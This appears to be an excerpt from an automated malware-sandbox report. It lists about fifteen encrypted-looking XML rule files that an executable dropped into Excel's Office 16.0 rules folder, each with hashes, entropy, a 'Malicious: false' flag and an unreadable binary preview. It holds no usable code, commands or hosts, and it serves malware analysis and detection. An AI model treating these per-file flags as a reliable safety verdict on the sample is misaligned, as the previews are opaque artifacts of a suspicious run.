SHA-512:	9F6AD3EE2AA3C9FBE6CEEF7BE5EA1EE023ED4D4CBEB7BA3242E68C620131423FD64033B55182B5EA33BECE053C04056072C8E62D2F3BC12EECED7E36D565F0A3
Malicious:	false
Preview:	<?xml..g.......x...^&cv...Y(VT\|D#.(F..0.W.'.....2..d...\..28M6.....Q....BG.Y(...F.W..rV......".6..&.?z..` .j........u.......x.....pG...P.(.e>....8.k..C.H'.A.yK@...KB-.!.MHe._.{.Ck.40.4..j.q.sz....r..% t..@.:..'.y..Z^'-Y.^...n.B.hR....E:Xm....a.{=..V@F..2)....ug}.. ..U...G...W...'......q.XG.'.6....t.x..D.P...gc)......b.g<...1.....<.1.iV.......>..m.Z[./v.).8..v..N...J...].......YI...d...\..B......(.N..H.S......A.$.y.. ....TL..VG.....7./.6..i.6;..-n%'.I.G...E...g.A8.D5........p.\|(....+.^......#.l.b.{.[..0.....6Y.0M.Z..fK`P>;+..C...i.1=.......Tt.R...Wg...g.....W.7....,..F..R.@.u.3/.a.....b..6.....v(p.=q.U;../.2.. j,.b....A.....K..l......P.J...8.....6F..........w^$.-....L]F..(e....".H..{......A.E.fkbY!...GXLG..2...e..q4..:_>. ~+.t.c.Y.d[I1.\....bA}..Q.G.tI6b..un...o..R.x.v..;;Z._2...00..%....s....Fi:!..R...........<....or.X.?{.....0...........q...^..?P.t.!.l.4..?.X...."-U..~.V..FV.........2..p.V.3{..@.6WT.3B..0.P)..>...PO.k..Q.S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.850199132621275
Encrypted:	false
SSDEEP:	24:PDPiB6lb4fmjaZw8HK7AJEPNmrruqhYn5mrTbD:PbiB62kaZwp7PFBqhVrHD
MD5:	F823CB928ACB37167D80F5F7F296F0BF
SHA1:	EDB198FB88C941B6193FCB7D35BACAC2BCA3F91D
SHA-256:	5AA88D488240C5121136A23B7C1891EE0D06066A694CAF295421A62688E0E32D
SHA-512:	FD8E397BEA14D3610F2EB73C21D835AC40AC760854C90BFF31854C70A6C13EF10392EDD8A17196B49F2018030726E327032F5146239C97ACE03B3FF7D8C9A9BD
Malicious:	false
Preview:	<?xml..x..........W..b.6..H.Or.up:>E..o...&..j..n...D:E..v..N$..uP..M..&Ra.^.h....xd.Ns..@.=X...."&.+...d......XoAs.Zu.....j..........O....Q.vag...M._).>....`..........V..B(^;.....(.a".h....KlI.....mc.p,.q)..=.:.....92.d...q.....,6;..r. .)+..S........Q...w......ov...8..7.._.%.......}#.y.;..zz#....?..4$..7.H.#-C.$........\|!.....M....B..I...i..1.8&.'.lq4e..t.................<.....h..<.Z.Y..q"..<E-d[.b.n.`....D]..~..............4..R...sP.5.@.....y...;g..5....QC.....[~.e#...zv...55..k.F...-Y...."7.Y=,.'.GZH=..\|......m...t....1.>.n-@......:.{..........yK...kwDOMXL.!.EHv.......LQ.>....(.........3b...s.?.Ad{...l2!r.h..&.9. .W#.............%I......]V......0."...P.....t.v.C{.....l..{......d.-._@.G..\.D)..d...^..9..Y.0.,\|[//#....S.-....9...a1?......T...v4...R..xha.......^.[...Bt'..e....WO..1...dz...0h....@=v..5f3Y..@..P.c.w.....B...F8.#.F..o..J.&?..r.X....qv%"..O..g...T.a..W....+..'E....Hb.:...;.n.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.753351515256748
Encrypted:	false
SSDEEP:	24:7dnLwn8xdMV5AttzzzCLrF0sdRfEN9hTJhyDbD:zdMV8tzzwrH38lh8D
MD5:	3E0E947D28E27F7F6FEA8AB17EFDA090
SHA1:	B2297C0D540CC01F557272C60C36315B3D3E54EC
SHA-256:	EDFDB90B0DB2F119431875E7CB117AB0775DB3849CF99F8415BB2233242E4EA3
SHA-512:	D64AF633A63C8679A1571038CAB213CA840E7977B3B4A9349569E407C984B2B5EC3F8DB0EDA0680CDA12BECAB75F31237CB4018BF9B772455752864DB25A7F2E
Malicious:	false
Preview:	<?xml..E7.j..{5..(..#.>..5q....j..%N...._~.......F.GA."<.?4...=.`o..3...`....q8.....O.Oc.....M.#$.j..cF...?e.v..?..v...U.Y..(S...>].Q.$....D.4#o.Z....y.D.d..rh5.a.\|r...B9d...y..c..R.s..e..QL...v...i...t.+o.k.Iq.Ra.4.Lqd.E..-Nru.?....v.W../.L"a.vK\.U..a.....n......5.............G-.......Oz.r.z...i..<..w.^.a...:q..._..hnP.g..J...3.......f#G..A.{E.J..@..0s.....u.....E.:.)m1.AZ.I.b..u..y<.....w$IA3...`.!@\..8..t.)...D....._..s.x...s........v...cw..4Q..{G.`....-.2.n...5..g..L.j....V.).z..,.`...)..&.T.N..#....f@..Sq.2g..(]....'ZP(...!...GW)4.Je../.......V..T.a7............{..Z.`mw?.N......4.....r.j..!......zB.7..."3.PK(..m( .....u..M.v..wt....\.P.d..6.1R...".`.......q@...,$..QM..E.`.=n......hq.....L..\|Pe"1.k.G..).0v......>"._.?.,gD.E..C?...?'.......A..F)."..x..D...h..\5G.X. .?....P.NU.._j..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.719758910903883
Encrypted:	false
SSDEEP:	12:Ul7QIYc0bEvHAr44N7qga/7zTgv8WPMiMV7AtK93rMYT7vrSrro1+cii9a:Ul7nYc0AArR7N47zTgvpPMieAta3bT7w
MD5:	68F1AAABACA1BF2ED0CAB656FC34585B
SHA1:	1447669C0A79304C6A0ABF779F32E8EED59D0333
SHA-256:	58DDDC30F21342ED46D32F4E415C7CAE009317CC06E31EB24519EB96235653DE
SHA-512:	8AF3D14EB16760C75CB0A7A793550938EDF463134FDE877C1752978CEE8CB8BDBDDD1605FDB1F1A1A8D0B820B4A2E8666709EE80144F14F5C11F77D556375A16
Malicious:	false
Preview:	<?xml.'.r.. .].6{kS...`.Q..Aq/..}..-...'..3..n2.>nW.^:.HdV.</I.._.......r.....3x......B)..........d=.K..g.Q.......p^0JQ^=.).....H...8B[{r.2.a.&.t...w......bR....A:...c;g.......tZ.k.L.\.%F.....\|.FP...}.L.....r...#m.... ."......].l......i5..P......{.........m...&SG...*. ..u.T...4..p..ZQ.&.e..".-~i'.n...9....3..2L.!.m._......&...w.p.QK.6L..:(.v.".U....\FH%..^..S....Q..q!.z.y......qO.j....k...i..v..{.r...wV/[...E$...e.m..p.@j[...5/...s.p..=....6.._.s,..9..M..u....Y........#...y......";.G)..PT...z........V.....\8M.eA..\#"7..8..%sx{....E..V?..3"I..oW.hC..;..D..G.Q..M.......7w.y.U...x%.,..Y.....>.1.F..F.L..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.816675246453148
Encrypted:	false
SSDEEP:	24:2cpDRMg5C6b74iEk8MGj1qM8rklrYzmkPd+koUr+2ObD:JMgBbRhIoM8crSPQkoN7D
MD5:	D178D2372956D3E0D78AE294D8427B6E
SHA1:	441FC653EC16D3114DD429E7FAEF1A30DF625B2B
SHA-256:	8469C15F981B44457EA6E66BF594C7424AAA9EA0C3536726B6F3C32A505D8059
SHA-512:	8C5C4737C33A44B6B45135F54947EEDF1E01A343956AE4BC3C2953EC8A369824D299CF85C016776C6C896DA8829DE1056555F3F3C608F585357382D46780E1E7
Malicious:	false
Preview:	<?xml....... ..s6..Y.,..S.........b.d.p..P.j..f.rFt.n....2.d...0..m.......ef...'k....v.&........0..9.{3....[.7..k.4....#..?.FLr....U..P.4.r.A9...4.mZ.n}e...f..tw.X.\....l..$..k...1..n.....+2,.-'.$....h..U..<..`..$......p1.c..7C..C.B6h.._.......U.~.Z.K...`...,`x.;'...VN.c....Y..Do.N..-.PYXdR"......`..R...=..)aG.(&!{D.%.2^Y{.vPe....nJ.$'b..u......IB.{.>....E..9.6..Y...@.{.F.'.....y.!M.^...R.C..-..<.@k.\..(&.......:N.Hw.?..%TY@~..;......q.....~p..j^.N..(....../..fq d...2D.......3.h....(P....g=.p.y.g.....:.^.,...t_...r...q%r...E.3....'F.8...Nx.x...KY/..x.?.!...x..3O..V..&WT..W..~..Ll..........[o..........QY.F...!N.jFBT...1.....b..7$.......oN.e.K.&.....Z.......a....'....}.Q...#@%.:...b[w.xz..F/...]..9k9....\|Y2.4n.....Uk!{.(RJ}..d...pv.a.g.po...~.6.^......]v:N..L]I.....]..Z...J.y\|....z..K._.~l.4+Y7.YKN..e......k.....'h.qe.?6...)......TE3...T.}D....Id.qa..............Y...>..s..D..zZ.#._.o.I.<.....}.3....u{.l..<.M../n.}......d&J.....n..Z>.y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.804822066399676
Encrypted:	false
SSDEEP:	24:mTsqA4Sf0cpNuXzWWeuPPFLdEEOaHxsnDJiwfdbD:+sqAVrTYzb3eBfdD
MD5:	3D6B2E00E639BD0B0351D7945B902CF5
SHA1:	19A3758E84105DE0DB15F5CC6E187F4512D3DE74
SHA-256:	D34DE31181E236BF3141B2DD41DACD2FDE887B55539BD0EA5551B29A5CADBEA9
SHA-512:	DEAE8EEC81439120C79F77B8757A0D847B3CE061533A97DF9A3F4FBACA3EC7AB8372873B6FD945F22958FBDE27CDDCD21BB518F5DBDC6B768FEEFA40E94C69DD
Malicious:	false
Preview:	<?xml$..7...A.).Q....+.J....6.\BLWYQYz.....9.....i....<5n/....\|...EKbX..h.O.....O.N.~W&.\|DH>..M.....0......Q.....G....4....y..kf.... ..pLv...k...).h.;.v. .]..B....1.-.$.)L.s.q..]..x...g.gb`..r....y..t...".plBwI..>0x.....+..E....P.Z..Ir.....x..zQ..z...n.....;V.u...@.}.....S;Lj..x.V..8...&.M..........),..]..3.W...58sy........x...........Bh.(H.!.(\|.G.....n31.).....}.?.6..;....'.-g......C\....pA.WQ7...:$q..d.t..daI./........).7.........Q+2.l.....3.y>..[..Z#s.:.6.\b.uu.C.-...u.}....$...#.>w.e........Z.....&...\....!.....B5..Q...5..{$..'{N[&+,)...[T...A....6>....."..B.4....nw.Lx.f...9.,.t.D......B.O..:.>_.^I......pV.A....;9G./q...1....+v0..7K....-gN..LR......o/.,.5..... ..."..'...=ZS$7i..@...v.....^v.....V~.`....8)Wi..d.....v...RK...g\|.BJ.c.A.Sd(@k.=DP.i...&.U.)z.W.E5?...oz..Wz..J..Da.&...%.n.us..g.....t..8....(..!....\|.[..2k..KYm1.j.#.S.a...FZ.(M-~hE...b5Ew..S.(.....?...yE..\.pJ:.b.4.....1..M.>%.5.w2..kZn....'.:.S4..SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.705978429652516
Encrypted:	false
SSDEEP:	12:Et6K3qwoa6myugbaIbIdldyJLgEZ5vqRdO2SLKfI3LH1+cii9a:Tnwoa/i3bIdldQ3CY2SLKf6AbD
MD5:	BCDC7705371278C0C21C64367B66FAD3
SHA1:	F075774699457D4D228F8873800BD92C4BCBA667
SHA-256:	3E167105F875807C9DC57826B3499BCA154C5180C24E12A3A5D66542D9BC3779
SHA-512:	2EF989CDE35BA88EC1EEC47D1AEEEA699F48377256A23E1CB7008B619A67AFA8FBEA8803CE76414064F9FD15656A51AF754B82E1DD943511F70670662C867B14
Malicious:	false
Preview:	<?xml......4....6...M....T.R.....V..m...Vr..N.Uj.w.aF.K=.....5.H..!..N+.~...U.`.4..9ci3P.VHiU.r_%..<...Qv.15M.w.!.....8j..\..#.YO.....yFi/.6.........4........X....M1..KB 7.(....U.~....z..6<..f..h.iK\|...6.%..n.....+0M..'....-...#b."-r`PY.1....7e.L&...X....M..@..(....T`B......s\......oI..,.B..;.O@.hWi..:...c{...........0.....e..c\7{.D..H......D..1.j...~V.<W..xg/.....B......#....jzx...%#..6..r.O...Wn.y...z+.D~...3.=`>....3kq.S..,u&.ZHWf.w.C.j...dF.....mk...!...;c.p.5x3..5..CX.....A..HSwgEiJ..../.............[5..).&.J........W....i....Apz:....BB.^S-r>...x.L.HW]a......T.....).y..Y.Fw.mAp....Z..2.....s.}...Nw...z.;..8W....>..(....u.....f..5."..V..4oj.X3g.K.....2xe.F,7..T..o....]ZRXfu..gQ./...tAx."V.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.737668146945277
Encrypted:	false
SSDEEP:	24:A0K5hEEfWHaDSWXfFthEueZoW3hqymvbD:r6hEaW6eWXHhRGoicysD
MD5:	24395D6B095A6F002B15D7520039DE40
SHA1:	1115FAA364845FCAFADB24FC7D00903E69A6A975
SHA-256:	0E466A179590E04E4C5E575D02E5C7A6D558940E342877DB9BBDDF7C5E1116E1
SHA-512:	11FDFAF3DAE0945DB2A923FC0A8EB1EEB4C7D6C38CCCEB27F62505A6D0936E7346E2809A8727C50033647A129A7E56126AD4D193F0D30B531CCD6975F97C1AB5
Malicious:	false
Preview:	<?xmlJ.......$3oc...IB.T..^&R.9..y........l..aF..cRC....O.,......H......e.......C..h...#5......`)..4s`.._....~...V.....U..:...[.....=cpq...6f..?1...3..bQ.#..\|.v.M2R.......!.....g....A....h.q8Y\..&.`..~3..T.'w.T.-t;.jx&w.v....<.A......%c.L.w.$r...'..).N>.......@......R}.i..o5.l#..x.s....}.y.,w..x.u:\|.9..$.......M.A=...z..0.H.q...O........u)..2..%..:..I.W......a..~..WU.=.....q.e.rS<..o...3...78.t...A..1.).}...."..........]...6UvI.?.k..}.+....!ta.YL..I"...o.N.N......U..6U....B.;#..M..P.P..9cjg.I..k5..a......lN..\..?...R..:.../.t.J.]i....1...V8...iz.S.2#.7.2.,#.#.?h.+.....T.N........f..C/........!.`..g.:D...!i!....#=ww.p...{...C...7V.B2.*.....}..Ai......+..e?(k....".-.R..Mpw.Oe.;{ ......c..&q..J.U.&..m....u.M..8..3..._..(wpSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.771961774569959
Encrypted:	false
SSDEEP:	24:CEw9W25e9ekiQS/g6RX29L8XjtD7wsd3babD:GW6cm7929YjtD8sd3bYD
MD5:	C56D5DDA7A84D013B33BFE9443BDB3A6
SHA1:	933E584BA44E3D1A5BE4536045890C075CB95FE9
SHA-256:	0A86C575297C77AA9877E9CC516110421A4DB8BBB35057DF12B34654D2408679
SHA-512:	B299DEBAA29AD63F699403304300FE32648BCECBCAFCCE419D11339B0B5D6A972BF6398AB1E0B977F6BE646C88F2DA3F5DF9AEFD84AB78C1AB7E8773383AB428
Malicious:	false
Preview:	<?xml.......~..{i.{0.\|...<w..[..x......z8...vU1....7..Z.L...Y$}.`lV...[>.....I.p.}6.H}l.b...p..&.9.....Q.Tz...M.`:#..(.....E:.-.)h....U....<..{..j.]....P.&.r.1.3s..f.Q.]......K...77M.'r...e.7C.^.K...1..9.^j....EV...=...]a..<.t..;X..v..$.@\......v.t......Y.A..(.."......0......g&..I..B,.......h..`...{...P...A..{......\.;......gZ....*......W....9...........R4..e..(...{G.n<q.c2...P....$:D...lH.^T.....d.wR.(...V..k.FMk..-z].k....q..}.@..lkfV...ok?..:L..Y.............-..-...w.).\.O..q...vxbd...aJ.yj%I70.(.....l.k.%..<..$W)...G...\.. 0.(.#.m.....).{D...(...&.F...P.8.W2IhvG.......&..r..+f.....wWs..jQZ..#4..E.....G9 G.h.jk..l.'...>...d. ...>q... .e.%.../x@.\|&.4..4.2.y5.<...y..;...I.O...a...).z.z.?....$.R..[.k../6....+q....M.........VS.VE..V..=...(.d..>w..5k.....r..........&.<9u.zo.$C.G...r.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320006v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.872437295400041
Encrypted:	false
SSDEEP:	24:fuuopP2lnLPiHk34E1YYZUhO0NMBNS46b1+9rGh2mOp3Bygim+NuKCpIYe87rLPt:f+P2VPi/YyzMNSiVGhipkgKBAIFErL5T
MD5:	0A30FF50C8F46E2CDE74A4C68D2B6E1C
SHA1:	2DF239B785D032513D3F50EEB8F07C8AF7EE206C
SHA-256:	93F5B6A0573C8F479B7C034F9FFF1CC89A6935F803B1F731BACE7FE37E90EF9C
SHA-512:	2C1D2EEBCDC2AF7EAD99FFEEAB836F01351186ABF51A402C6C15BB30C23787782A5962A3530D23DDF59155E302D26A3B1EE623066BD5516ABB058E4E1883272F
Malicious:	false
Preview:	<?xml.9~.5..............6.....R.h._...[g...h.....-...&..d..>).Q...Q.....7.A.%.9.0.9.vF..c.U..v.,.....G.E......mq.x)..@..{.l>..).4!+..)X.&....G..iO2..iPA.EI.....o.O.zJ.gg..7}....w.=c.l.....FRcs...\...B..!....vPY......Z...-..m.H..$l.8..5..p.#0m.S`....$g.g...S..V'....2.+.w..._..5b...]3=.....0....>.R.3.....xq...,.).C[.'.2dMd .......JD.#SB.r.@.m.E.:...U h.....@...j._.:=...Q...h.NmJ6i2..z{x.)..r.MS."....V........$..U..Cj!.....-.......bA/p.J7..Q.G1<....f....._..f.Kzp..:."...XZ....>....x<2.......A.V........T.".+3Tf)X..F.qI}.@1<...:..'... ...4.....UB`..:#v.J:.s..b..I...q-...2(...).r3.p..."O....~.e.C....O....X5..5.%..+b..N.9?9.L0F..I'K'./...E9l\c}.....%..ET).r.O.....4.]..g....r.^....1..B.8...[..I..D..=.....y......p,.(.D.=z9.T.94.H.+.R../\\.7...!.............FT.Cq..?...p....C..z...@...m&....#.c;.M...;.Sr...`..[..&g.`.._....G4\|..a-...M$W<Tpx.X>'];$q~.!^.d.....A.0..u.....)......N.%kn..Kyv.#..@....X..pp2;..l.\w.0..g....t..g.d..A...Y.......U..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320007v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.818287866091129
Encrypted:	false
SSDEEP:	24:kbeXJjzx9vNvfGMUzrNgT+K3aNeFAxi1BRS3fp8wlrybD:kbeXBzxBNvfGWT+saYIi1BA3fp8w9gD
MD5:	87CBDC5F8869C4017D9D6841D86B37CB
SHA1:	4C144CB17FC5334660F543004474288A4A737DCF
SHA-256:	FB726425D219FC5F398AF2403B78316C8610BAE0228F55E0E195B9493DD7814D
SHA-512:	89CCF7F63C84E58BCBA3330C8BC99BCD5A9AE9F841F92CE0D3F0C0B439D08A095EB5CC09D29B9B208FFB235E6AB792BF8AA830BBC85F27C449822F6C5A374FDA
Malicious:	false
Preview:	<?xml#0..B..q.....t29..Wz^..Y.q.Leu..2..Q.=.$-'.......5....g.+.r.pN_..P.~=7.....7 L...Y^eA.j.5..h.Q.Js..V..9t...0.;..cH.g.q..........x.z..V......l..J5...v.g..wK.$.y.....;..l..v......4.9..8..m..#....R..].. ..g5...\'...p.{z.U.......H.5g..+..z3.....p..-\.....f..^.....O..e...Ep.T..-.5.......$.2.[...mb=5b{.F..9.....9....5Y....]....R/..j.).......}z..z......x.@.../@i...$Uj......z..\..~.9.jc.m.....y.p}....hW3..v.;..Q.q.,.j(!=..%v:).w...I2..-.\|...p....)..F.....[.Gza..i/...Pw1..0\|.......c..B..c.n.!.q..>.....Z...{y.D..eJ.. @^.....j7..rT.n.A^.A.HZ$.....G.....(J..3..0d_.b.y...v..P.H.;t'@dg.%3;..a..90..`.>^-d{.._...Q)L..AR.&.......>...m........\...)nA.L.U.. .......N.[.7...j.1.$l9..0...#....JgV...l.........k......._)S.1._.=.._..CO...e.J..P U..%A.....H.F...d$.En..(c.(.\.@D.e.].JP..d..[Nx.x..R.&....Y`...6b..O..U.k....I{m.....d..#...Gi.@X.Q.>...:.....#.A...*..69.....v.Upf5(...o...=+...x..(..+R..,@....hT.....].7.2...>....Y$H.9..ew.....o{e..#x..u30b.G...QU...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320009v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.747670530327127
Encrypted:	false
SSDEEP:	24:t7JQl8CwWKL66pmR0jbTY7ELhm0IZbdJnuQUbD:/6Pwte+mmbY715dJaD
MD5:	C9E0254FFD86A9E4E5CD79D8AE91EA34
SHA1:	EF5344AE3DFB3B6A2E325EC1E4B8EA02E3DC8AB2
SHA-256:	8265F1BDA36D705E2F246F8A8B5E07D6E175E0AFFEC66975F45F2D30D99EB0CE
SHA-512:	4809E3514EB47F3EBDAB3FEFACB55E8FBCF0E63F6F7760E78C4D5143FA5D163F5B03532ED1A77B4C63F9474273DCE14FCF566A66F639C5D62D7C53D3DD9763FA
Malicious:	false
Preview:	<?xml^:PGd.w-..N^WX..2...WD..y...<.8..6.......,.....h..-...i.<....Sr\|..`.N..1....KeQ.O...p.2..3..&.`nU.q.4.og..F.%.p5p.a..o^Vb.....?p8P.....SCY.Y...,%.j.].R.g....P......Gd.o.B....`o.K..1.6.j.Z.6d..`....C+.j~.'$..mv.m..#.q....c..B.........n3.(..jz._....../... %]]}..u.`...a2...,.Yq0#V6c.......f?;.4.78.K.w.`DN`.]..?.z..a...q.n....:9+...Z..fL.<......:\.3/.W1.4r4..dA(..8FV......ja..\....:.s.(K...P..MZ.i+=......L.&h.:..A.\|.....i<..5....p.5..oL'T.U..p..'..1S. ..My2J.@."C..\|..Z.!.H...V..&1.o.v..99....6B...\|...b_..7.WEg.B.#}...U\|.6...Z.tO.).........._......2....D>x.agWa{..t$9. f...7n...q.`.h....F.y.....=.}.Hb.!.a!..M...hr.........BBv.3...7..4K.<...\..h......sXml...c.N.1..0..0...~.(...g..v]9O.....GH..).]...s..>'1.....\|..R..iZa..lY\|....V...Si...dvSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320016v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.764711021651122
Encrypted:	false
SSDEEP:	24:g9xDGskFS6qebRTMxTGHMgWRZd7VMWCeCtAbD:g9JES6qLxTGMLkFYD
MD5:	1555730A34A362C0162347C48B8CFE7D
SHA1:	C27CE6262276BFDFA88B46ABD9DBD2347BA36D72
SHA-256:	7B88429EB568E0115A53F375952587FB597E69362AE480B3A3B4A579EAF554C8
SHA-512:	2A5A76B1406A0AA0D15EC4DDD0BEB4AEE4AF2B740A2644194D692F58F00B203BA6DFCAA50B79A0425248068D6BCC69517CD2AD17555B8938F54C75647DC74098
Malicious:	false
Preview:	<?xml.D.....O.?r....}(.........ZO...}.6T.1...].;....ft.F..>4..A.3.5."t...(."..;I...........l... .-.....(._..../....{...hyB.......K....7.._..T...u...\|..U..>.l.JO{.9......2x$e.o.mS..).+..nK.F.......&.zk%Q..7....c..[....\..B7>..fU..F...n.....M...1.OWs.]..%\.3..<..(.KW8..H...9.B.{s.a.....#....3..J..RX...l.Q...e..t.......{..z.5L...lH.7......dE.S.?...dp..6j...6..4...~.^.$K.......>.IZO,2.Tw_px'%zpO.....2.dn...X..HG.....-S.A!...}.xY.4...j.o.pu7o..W.e~@.l$.B..R.s...j....=...4.i=..}...^E.j..dyG..f........{_$7t..2..\|V]....Nk._`.......P.3B.GK...y...p.....f-..o....c..M..J..K.{........kcho....(...n+.'.....4:JZX.....I...t.&...3xQ'.#.g.f2J...'....&p....W..a...1..,!...Wt......y=...V...5.?....D.....Ha.'.g.J.J...9..a.4..)..f....c)i,F{-.f.7. ..Sg.^.oAS..2..mi}A.....N.W.9.?'9........\|SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320021v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.707501952755368
Encrypted:	false
SSDEEP:	24:+ZT6wWUsKM8dGy/75bqQWUGsLoABEoPaw+mgEbD:Q67U4YbqQWUxdBr3D
MD5:	9B8131B981F2950747A7F6247E3E25C7
SHA1:	2A0816C870B0E93C2B544111F6F8AFC26D81AE23
SHA-256:	782635D50E828EB5CD743CD373EABB1E6FFFB3DEC74C70971BD9EB404FAFAA2F
SHA-512:	5A186C33502AF55EAE8B4673A8956AE698B634FC0A971E53D7F45D6B82A6E9272EF97D0BB29C7FDB19C718D7B9F38ADFBDD67F68087807CE712A8DCFFA60B3B8
Malicious:	false
Preview:	<?xmlpT'..y.....M..{V..fQ.Qd.h..'..O.tYMm.32L=.;..c..-......z.;>......G.#..]...z.w..C..,..s=.....Y.bl34.......F...u....z.E..xi..3...;....g. .....j..Y+.ik.....TCD.\|.4J..C.(.....;9XG-;.`.-.O"N...K.)...F......../g......o....U@.rA.28...QWx..Q..%.Y.cM.:.'.......r..y.6.....}93...V\|..ey..42>....K)b.s..N.....X{4.`........Jk....d.'..^..._._}..s.z...j.p.xhX..j5n.....!.Q..-o^....Vu..v..Y6.R'...i.<..7.49.........3.B.{.a.R..`....C..` U.0....;Q.Fr....&.a..6Rw.N....t/..m..y.8vAA.C..X8z..e.m..'.8.....1%.E..[8...[\...b.E!..O.2.un..F..a..O.N".Q....O.3..R.6.....Q0N..._z.>..)C@.d..Y...E.e....m.Z.r..'38w.....Jd.!....Cms.G..s.PD.k'.#.u......D....... \ps..![~..Q..^Ct...@.U.S./..@E>.]..(.,.....P6VC..1..y...%rj.'qg.0\..B.P.Y..K... I...C.RlDy.:@.}SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320022v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.677819598371882
Encrypted:	false
SSDEEP:	12:SSR6wU9xyZr/Lcs7QRn0vC/aOe5xe9XTas5ypC7nSDI+cGLE9h9oZWV1+cii9a:SiU9aDt7cn0fOUxe92s5ypC7nS1CCwOX
MD5:	97CDCB65BB3EA2966EE243F6C8831956
SHA1:	B43697CFA3EC7D4EAF92E259BA45A98E36A9D15A
SHA-256:	95D3E27357CEC4B4A7C49A7EB84E3AFAA0E5A1BC5CEA46D42417CCFBF8902B26
SHA-512:	AAF140410130D4C3749CF975C90B816FE551AF5A031CFFFF1D4415F84C19C079D61AC963B640194FABB5A0D1B508946E62F306ABD62D561C0700F49CA80C851F
Malicious:	false
Preview:	<?xml_...~....(VY.!7.....d.U.=.G.4....].....1.Q5..a......C........A..R..M...<..no...K\..-I...d..T.....[....8y.d.Q..f...G..D./y..@4U_...K.\|.$.$;).p.h.4....B .C.d.a.L.D..4.d.......7e..(.....\|..V...9..Z{=T.12...q;.q..\|.....$dl+......!....;..,}.l.....6.T....$.....G.F..p.!Z..$..q..-.Y].qb..=.%.?.I...*..k....\|..M.,....}....%'[...)).$.....(AVn.}..;-...R......Zx...\@bU.+...[y.O.....E4.!.a..U..Q.Z<.....PJ<P....'.....x%..-.>:.z[K....9d......7_...j..q..h.....7.........a'.Omht\.W...6;^..KP....hbDxNmf...g.g....u..g.....31..O......6[..0.y.I.K.k...3O..l...r..x.-...IS....P...`..)...d5.MM..DLhQ[gU..".]........3.S.....K/...{...[u....b}.S..x+C.M...f..KX0..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

